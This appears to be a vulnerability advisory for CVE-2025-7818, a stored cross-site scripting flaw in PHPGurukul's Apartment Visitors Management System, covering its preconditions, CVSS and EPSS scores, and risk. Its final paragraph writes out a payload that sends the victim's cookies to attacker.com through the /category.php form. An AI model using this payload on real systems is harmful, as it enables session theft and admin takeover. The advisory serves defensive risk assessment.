PHPGurukul Apartment Visitors Management System CVE-2025-7818

The vulnerability requires three specific conditions: (1) the attacker must possess a valid authenticated account with access to submit category data (PR:L in CVSS reflects this); (2) the victim must interact with the malicious payload by visiting the affected page displaying the injected category (UI:P in CVSS); and (3) the application must fail to encode output when displaying category names in HTML. No special deployment configuration or non-default settings are mentioned in the description. The vulnerability is NOT exploitable against default configurations accessed without authentication, as the POST handler to /category.php almost certainly enforces session validation. Exploitation is limited to scenarios where an attacker either has legitimate credentials or has compromised another user's account.

This vulnerability presents low real-world risk despite public exploit availability. CVSS 4.0 score (2.0 severity) reflects limited scope: PR:L (authenticated attacker required), UI:P (user interaction required for victim), VC:N/VI:L/VA:N (integrity impact only, no confidentiality or availability impact). EPSS score of 0.05% (16th percentile) confirms low exploitation probability in the wild, indicating the vulnerability is not widely weaponized despite public disclosure. The attack chain requires an authenticated account (likely limiting to internal staff or registered users), victim user interaction (clicking a link), and yields only session/credential theft rather than code execution. The primary risk vector is insider threat or compromised low-privilege accounts attempting to escalate via defacement or admin account takeover. Organizations with smaller user bases, strong authentication controls, and security awareness training face negligible risk. Larger organizations or those with weak credential hygiene should prioritize patching, but this is not a critical vulnerability.

An authenticated user with access to the apartment management system (e.g., staff member, resident) crafts a malicious category name containing JavaScript, such as '<img src=x onerror=fetch("https://attacker.com/?cookie="+document.cookie)>' and submits it via POST to /category.php. When an administrator later views the categories list or edits a category, the JavaScript executes in the admin's browser, exfiltrating session cookies or redirecting the admin to a phishing page to steal credentials. The public exploit on GitHub likely automates this injection and payload delivery.